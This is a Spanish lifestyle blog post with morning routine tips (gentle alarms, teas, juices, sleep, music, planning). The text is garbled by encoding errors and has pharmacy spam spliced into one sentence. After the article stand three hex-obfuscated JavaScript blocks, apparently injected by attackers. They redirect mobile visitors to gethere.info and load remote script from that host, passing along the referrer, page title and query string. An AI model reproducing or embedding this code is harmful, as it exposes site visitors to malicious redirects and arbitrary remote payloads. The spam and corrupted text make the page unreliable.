Suena la alarma a las 5 de la maíana, un ruido espantoso que hemos establecido para que nos saque de la cama, apagamos la alarma 1, 2, 3 veces antes de dejar que nos derrote. Nos levantamos malhumorados pensando en una hora mA?s de descanso, ya es tarde. Agarras una manzana de desayuno, si tienes suerte llegas corriendo al trabajo, con hambre, con sueío y de mala leche, A?te suena? .
Índice de Contenidos
Sigue estos 5 consejos para empezar bien el día
Empezar bien el día no es una tarea sencilla para todos, madrugar no suele ser lo favorito de la mayoría de la gente, aunque no te darí la receta mA?gica para amar levantarte de madrugada si te darí unos consejos para que no sientas que ardes en el infierno cada vez que el sol va saliendo.
Poner una alarma agradable
A?CA?mo despertarías si una persona hiciera esto?. Probablemente no sonriendo. Nos acostumbraron a sacarnos de la cama de la mala manera, gritA?ndonos, moviíndonos, empujA?ndonos y todo esto sin duda nos hacía despertar de malas.
Fue así como tomamos la costumbre de levantarnos de a golpes, ya sea a travís de una persona o a travís de un sonido que nos desgarre el tímpano. Cambia tus creencias e intenta algo nuevo, yo tampoco creía en esto hasta que lo probí y me resulto de maravilla, te cuento.
Actualmente hay aplicaciones para todo lo que te imagines. Bueno, existen apps para el celular que son para checar tus estados de sueío, hay otros con alarmas que tienen sonidos de la naturaleza que van incrementando su sonido cada vez mA?s alto de forma paulatina.
Cuando lo instalí no tenía mucha fe pero me sorprendí del resultado, aA?n entre dormida comenzaba a escuchar un sonido melodioso y agradable que poco a poco iba subiendo su nivel de sonido hasta hacerme abrir los ojos Silvitra tab without prescription, Zoloft reviews. . Ya no me despertaba alterada o asustada por los ruidos inquietantes de las alarmas si no que despertaba serena y poco a poco sin sobre salto.
Te invito a probar esta tícnica, que preferirías, A?una persona que te despierte con sacudidas y golpes o alguien que acaricie tu mejilla y te diga que es hora de despertar?. Sí que hay personas que tienen el sueío mA?s pesado, yo soy una de ellas y sin embargo me ha funcionado. Así que toma nota porque es uno de los consejos para empezar bien el día que debes llevar a cabo sin duda.
AyA?date con una bebida para dormir mejor
Tís: El tí ya sea con cafeína o sin cafeína es muy bueno para nuestra salud, dependiendo el tipo de tí serA?n sus beneficios, estos son los mA?s recomendables para un día por la maíana
-
Tí Negro
Nos brinda mA?s energía y nos da una sensaciA?n de saciedad; por si eres de las que no puede parar de comer en la maíana, esto te ayudara.
-
Tí Rojo
Mejora tu estado de humor, es un muy buen digestivo y ayuda a combatir los problemas de colesterol.
-
Tí Verde
Te ayuda a preveniríproblemas de colesterol, diabetes y del corazA?n, así como tambiín te proporciona mA?s energía y es bueno para bajar de peso al tomar por las maíanas.
No es recomendable tomar tí de hierbas que relajan ya que lo que necesitamos a esta hora es el mA?ximo de nuestra energía.
-
íJugos
Los jugos a parte de ser riquisimos tambiín son saludables, te dejo aquí unas opciones:
- Zanahoria y manzana mezclado con leche de soja, una yema de huevo y una cuchara de miel sabrA? delicioso, con esto tendrA?s energía al instante.
- Papaya, naranja y limA?n: Esta bebida nos ayudara a saciar el hambre, nos darA? energía y nos aportara potasio, magnesio, vitamina B y A?cido fA?lico
- Agua fresca
Así de sencillo, un vaso de agua fresca por las maíanas te ayudarA? a poner tu organismo a trabajar de mejor manera, con unas gotas de limA?n te ayudarA?n a perder peso por si este dato te interesa.
Dormir el tiempo necesario
No le tomamos la suficiente importancia a nuestro descanso y luego nos quejamos de sentirnos aflojerados, cansados y desganados en el trabajo.
Procura hacer tus actividades temprano para poder conciliar tus 8 o 9 horas de sueío, esto puede sonar difícil, pero es mA?s una cuestiA?n de hA?bito y rutinas.
Si en verdad te quieres sentir al mA?ximo por la maíana tienes que tomarle importancia a este punto.
Escuchar mA?sica que te motive
Hay listas muy buenas en Spotify elaboradas para tu camino al trabajo. VerA?s que te sientes mucho mejor escuchando tus canciones favoritas.
No dirA?s que no son fA?ciles consejos para empezar bien el día, y ademA?s cargados de buen humor.
Planear tu día un día antes
Deja todo esto listo un día anterior, establece horarios, tus actividades en un itinerario, deja lista tu bolsa, tu mochila o las cosas que vayas a ocupar y sabes que te quitarA?n gran tiempo en encontrarlas por la maíana.
Con esto podrA?s despertar tranquilamente sabiendo que tienes todo listo y solo queda empezar el día.
A?Pon en marcha estos consejos para empezar bien el día y aprovecha tu maíana y el resto del día al mA?ximo!
var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[«\x73\x63\x72\x69\x70\x74″,»\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,»\x73\x72\x63″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D»,»\x72\x65\x66\x65\x72\x72\x65\x72″,»\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D»,»\x74\x69\x74\x6C\x65″,»\x26″,»\x3F»,»\x72\x65\x70\x6C\x61\x63\x65″,»\x73\x65\x61\x72\x63\x68″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»,»\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,»\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,»\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,»\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,»\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,»\x68\x65\x61\x64″,»\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,»\x70\x72\x6F\x74\x6F\x63\x6F\x6C»,»\x68\x74\x74\x70\x73\x3A»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x52\x5F\x50\x41\x54\x48″,»\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E»];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}